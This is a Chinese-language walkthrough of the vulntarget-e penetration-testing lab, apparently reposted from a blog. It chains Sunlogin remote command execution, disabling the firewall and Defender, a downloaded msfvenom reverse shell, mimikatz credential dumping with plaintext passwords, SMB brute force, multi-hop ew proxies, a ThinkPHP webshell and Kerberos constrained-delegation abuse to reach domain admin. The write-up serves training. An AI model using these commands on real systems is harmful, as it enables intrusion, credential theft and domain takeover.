vulntarget-e WP
Posted manic00y
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了vulntarget-e WP相关的知识,希望对你有一定的参考价值。
1.信息收集
使用nmap对外网主机进行端口扫描,可以看到一个5985端口,未知端口49773存在未知服务。如图1.1
nmap -sC -sV -p- 192.168.111.137 -n -vv --min-rate=2000
图1.1
对端口进行访问,没有获取到有用的信息,如图1.2
图1.2
对49773端口进行目录扫描。如图1.3
dirsearch -u http://192.168.111.137:49773
图1.3
对扫出来的路径逐一访问其他目录都跳转到图1.2界面,除了transfer目录,但是没有获取到有用的信息。如图1.4
图1.4
仅凭这点信息判断不出来啥,于是思路转向扫指纹信息。使用obser_ward_amd64探测,探测出来指纹信息为sunlogin,是向日葵服务。如图1.5
./observer_ward -t 192.168.111.137:49773
图1.5
使用向日葵RCE进行探测,发现命令可以执行,存在向日癸命令执行漏洞。如图1.6
./sunRce -h 192.168.111.137 -t rce -p 49773 -c "whoami"
图1.6
通过命令执行漏洞,对外部主机进行信息收集。如图1.7-1.8
./sunRce -t rce -h 192.168.111.137 -p 49773 -c pwd
图1.7
./sunRce -t rce -h 192.168.111.137 -p 49773 -c "net user"
图1.8
通过信息收集,发现有一个100网段的内网地址。如图1.9
./sunRce -h 192.168.111.137 -t rce -p 49773 -c "ipconfig"
图1.9
查看防火墙状态,是启用状态。如图1.10
./sunRce -h 192.168.111.137 -t rce -p 49773 -c " netsh advfirewall show allprofile state"
图1.10
关闭所有防火墙,执行成功。如图1.11
./sunRce -h 192.168.111.137 -t rce -p 49773 -c "netsh advfirewall set allprofiles state off"
图1.11
再次进行端口扫描发现,原来扫不到445等端口现在可以扫出来了,说明防火墙已经成功关闭掉了。如图1.12
nmap -sC -sV -p- 192.168.111.137 -n -vv --min-rate=2000
如图1.12
因为向日葵是system的权限,所以可以关闭waf。如图1.13
./sunRce -h 192.168.111.137 -t rce -p 49773 -c "set-MpPreference -DisableRealtimeMonitoring $true"
图1.13
因为通过向日葵漏洞上传的木马文件被windows Defender杀掉,所以我们使用PowerShell执行策略绕过。如图1.14
./sunRce -h 192.168.111.137 -t rce -p 49773 -c "powershell -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath \\"C:\\Users\\Administrator\\""
图1.14
2.外网主机上线
使用msfvenom生成木马。如图2.1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.111.130 LPORT=8888 -f exe > a.exe
图2.1
在攻击机打开监听,将木马上传到外网主机中。 如图2.2-2.3
python3 -m http.server 81
图2.2
./sunRce -h 192.168.111.137 -t rce -p 49773 -c "powershell(new-object System.Net.WebClient).DownloadFile('http://192.168.111.130:81/a.exe','C:\\Users\\Administrator\\a.exe')"
如图2.3
去Users\\Administrator目录下查看文件是否上传成功,文件存在,上传成功。如图2.4
./sunRce -h 192.168.111.137 -t rce -p 49773 -c "cd C:\\Users\\Administrator;dir"
图2.4
用msf上线目标主机,进入msf开启反向监听。如图2.5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.111.130
set lport 8888
图2.5
使用向日葵漏洞执行命令,执行成功可以看到已经得到了外网主机的session。如图2.6-2.7
./sunRce -h 192.168.111.137 -t rce -p 49773 -c "start C:\\Users\\Administrator\\a.exe"
图2.6
图2.7
现在已经得到了外网主机,ps获取目标机正在运行的进程。如图2.8
图2.8
为了避免渗透被发现,迁移到一个稳定的进程中。如图2.9
图2.9
查看主机是否在域中,发现没有在域中。如图2.10
图2.10
对外网主机进行信息收集,发现桌面有一个“需要测试的地址.txt”文,下载下来。如图2.11-2.12
图2.11
图2.12
查看文件里面是一些域名,暂且放着,目前不知道有什么用处。如图2.13
图2.13
使用meterpreter读取一下本地的密码。lsadump::sam来获取sam数据库中的密码。SAM数据库中包含所有组、帐户的信息,包括密码HASH、帐户的SID等。如图2.14
load kiwi
kiwi_cmd lsadump::sam
图2.14
使用在线MD5在线加解密解一下,得到明文。如图2.15-2.16
Administrator 388f586516a4cba963b4181363b44034
ash 96783bb69c00614e88f7d4688623c83a
图2.15
图2.16
图1.9中有一条100网段的地址,现在在meterpreter中添加一个通往192.168.100.0/24网段的路由,并查看。如图2.17
run autoroute -s 192.168.100.0/24
run autoroute -p
图2.17
使用arp探测下一层主机的ip(100网段ip),发现192.169.100.131地址。如图2.18
图2.18
为了方便后面的操作,把外网主机的3389端口打开。如图2.19
图2.19
使用上面收集到的密码,进行Windows远程登录。如图2.20
3.上线第二台主机
为了对内网100.131主机进行探测,在外网主机上传ew代理工具。因为我们已经有远程控制所以直接复制粘贴。然后搭建一级代理。如图3.1
ew.exe -s ssocksd -l 3080 -t 1000000
图3.1
在kali中编辑本地的proxychains程序配置文件vim /etc/proxychains4.conf。如图3.2
图3.2
对100.131主机进行信息收集,扫端口,发现22、80、8888端口。如图3.3
proxychains4 nmap -Pn -T4 -sT -p- 192.168.100.131
图3.3
在浏览器上编辑代理插件,地址填写运行ew程序的主机地址,端口写通过ew程序开的端口。如图3.4
图3.4
对80和8888端口进行访问,80端口存在nginx服务但报400错误,8888端口发现宝塔面板。如图3.5-3.6
图3.5
图3.6
想扫80端口的目录,没有成功。如图3.7
dirsearch -u http://192.168.100.131/ --proxy socks5://192.168.111.137:3080
图3.7
所以换了一种方式找目录。查看外网主机浏览器的历史记录。在meterpreter中下载浏览器历史记录。如图3.8
run post/windows/gather/forensics/browser_history
图3.8
去/root/.msf4/local/Administrator_Firefox_mpf91asw.default-release_places.sqlite找到文件,并用SQLite打开。如图3.9
图3.9
使用SELECT url FROM moz_places查找。成功找到了2条关于100.131的历史记录。如图3.10
http://192.168.100.131/vulntarget/thinkphp
http://192.168.100.131/vulntarget/public/index.php
图3.10
对找到的地址挨个访问,但都是400。如图3.11
图3.11
根据返回的400和图2.13发现的域名地址,进行HOSTS碰撞。成功发现100.131服务对应域名地址www.cJO6w10YLS.com。如图3.12
注:在渗透测试中,搜集了很多IP资产,端口也开放了WEB服务,但打开总是403 404 400错误,扫目录也扫不到东西。这时候可以尝试利用HOSTS碰撞技术突破其边界对其内网系统进行攻击。
proxychains4 python3 ip_hosts_scan_multithreading.py
图3.12
使用Modheader插件修改host头,并再次访问80端口,访问成功,但只是简单的静态页面。如图3.13-3.14
图3.13
图3.14
访问图3.10收集到的路径,打开是一个thinkphp的网站,使其报错,可以看到ThinkPHP的版本号,然后根据版本号寻找漏洞POC。如图3.15
图3.15
尝试了使用phpinfo会被宝塔面板拦截,直接使用file_put_contents写入文件。这里的../../是因为当前目录不可写,所以需要目录穿越找到可写目录,访问一下url.php文件,结果显示表示写入成功。如图3.16-3.17
图3.16
图3.17
使用蚁剑连接,因为POC是3次url编码,还需要编写蚁剑的编码规则。如图3.18
图3.18
对蚁剑进行基础配置,编码器选择图3.18加入的编码规则,加入host信息,配置代理.如图3.19-3.22
图3.19
图3.20
图3.21
图3.22
测试连接,连接成功。如图3.23
图3.23
蚁剑中命令不可以执行,目录可以查看。如图3.24
图3.24
使用php7-gc-bypass绕过disable_function并执行系统命令,对100.131进行信息收集。通过蚁剑上传php文件到WEB服务目录下。如图3.25
图3.25
访问该文件,文件中的uname -a命令被执行,可以看到100.131是Ubuntu18.04。(替换文件中的命令查询其他信息。)如图3.26
图3.26
蚁剑中,在home/vulntarget下发现了个key文件,并下载到kali中。如图3.27
图3.27
使用ssh私钥进行登录,Ubuntu拿下。如图3.28
proxychains4 ssh -i key 192.168.100.131
图3.28
查看ip,还有一个192.168.88.100的网卡,可能88网段中还有其他主机。如图3.29
图3.29
关闭防火墙,使用arp探测下一层主机的ip(88网段ip),发现192.169.88.102地址。如图3.30
图3.30
4、上线第三台主机
为了使kali访问到第三台主机,所以要搭建二级代理。将 2080 端口收到的 socks 代理请求转交给 192.168.100.131 的主机。如图4.1
ew.exe -s lcx_tran -l 2080 -f 192.168.100.131 -g 9999
图4.1
在kali中编辑本地的proxychains程序配置文件vim /etc/proxychains4.conf。如图4.2
图4.2
通过ssh上传ew到第二台主机Ubuntu。如图4.3
proxychains scp -r -i key /root/ew_for_linux64 root@192.168.100.131:/root/ew_for_linux64
图4.3
在第二台主机Ubuntu上利用 ssocksd 方式启动 9999 端口的 socks 代理。如图4.4
./ew_for_linux64 -s ssocksd -l 9999
图4.4
对第三台主机信息收集,爆破88.102主机的端口,发现一个445。如图4.5
proxychains nmap -Pn -sT -p1-65535 192.168.88.102
图4.5
存在445端口,可以使用九头蛇hydra工具爆破一下主机账号密码。爆破出账号:administrator,密码:admin@123。如图4.6
proxychains hydra -L name.txt -P password.txt 192.168.88.102 smb
图4.6
使用Impacket 中提供的wmiexec.py工具远程执行,成功上线第三台主机。如图4.7
proxychains python3 wmiexec.py administrator@192.168.88.102
图4.7
查看IP地址。发现还有10.0.10网段的网卡,猜测内网还有主机存在。如图4.8
图4.8
使用arp探测下一层主机的ip,发现10.0.10.10地址。如图4.9
图4.9
systeminfo显示关于计算机及其操作系统的详细配置信息,发现第三台主机在域环境中。如图4.10
图4.10
为了方便操作远程登录。关闭第三台主机防火墙,netstat -ano查看一下3389端口是否开启,没有开启。如图4.11
netsh advfirewall set allprofiles state off
图4.11
使用下面的命令打开3389端口,再查看一下,端口已打开。如图4.12
REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
图4.12
为了使物理机能够访问到内网第三台主机,配置一下物理机proxifier全局代理工具。如图4.13-4.14
图4.13
图4.14
物理机远程连接88.102。如图4.15
图4.15
通过远程连接粘贴复制上传猕猴桃,收集信息。收集到账号:win2008,密码:qweASD123。如图4.16
#提升权限
privilege::debug
#抓取密码
sekurlsa::logonpasswords
图4.16
5.上线第四台主机
查找约束性委派主机,可以发现第三台主机win2008对第四台主机10.10的CIFS服务存在约束委派。如图5.1
AdFind.exe -h 10.0.10.10 -u win2008 -up qweASD123 -b "DC=vulntarget,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
图5.1
用kekeo请求win2008的TGT。
tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi
伪造S4U请求,以administrator用户权限访问受委派的CIFS服务。
tgs::s4u /tgt:TGT_win2008@VULNTARGET.COM_krbtgt~vulntarget.com@VULNTARGET.COM.kirbi /user:Administrator@vulntarget.com /service:cifs/WIN-1PV25H8UJPN.vulntarget.com
如图5.2
图5.2
利用mimikatz导入S4U2proxy阶段生成的ST。如图5.3
kerberos::ptt TGS_Administrator@vulntarget.com@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi
图5.3
dir访问一下10.10主机(需要注意的是,导入一次ST执行一次命令)。如图5.4
dir \\WIN-1PV25H8UJPN.vulntarget.com\\C$
图5.4
net user添加一个域用户,然后加入到域管理员中。并查看是否创建,创建成功。如图5.5-5.7
图5.5
图5.6
图5.7
为了让kali访问到第四台10.10主机,挂三级代理。如图5.8-5.10
外网主机3777端口接收来自攻击机流量,7779接收来自3777端口流量:ew.exe -s lcx_listen -l 3777 -e 7779 -t 1000000
图5.8
第二台Ubuntu的7779端口获取外网主机7779端口的流量,3999端口接收7779端口的流量:./ew_for_linux64 -s lcx_slave -d 192.168.100.155 -e 7779 -f 192.168.88.102 -g 3999 -t 1000000
图5.9
第三台主机代理了来自3999端口的流量:ew.exe -s ssocksd -l 3999 -t 1000000
图5.10
使用Impacket 中提供的wmiexec.py工具远程执行,成功上线第四台主机。如图5.11
proxychains python3 wmiexec.py admin:123.com@10.0.10.10
图5.11
查看一下IP,为10.0.10.10。至此四台靶机全部上线。如图5.12
图5.12
此文章的诞生过程极其艰辛,借助网上WP和我哥的帮助完成。写的不好请轻点喷,要脸嘿嘿
css 重置WP #WP #reset #basic样式
以上是关于vulntarget-e WP的主要内容,如果未能解决你的问题,请参考以下文章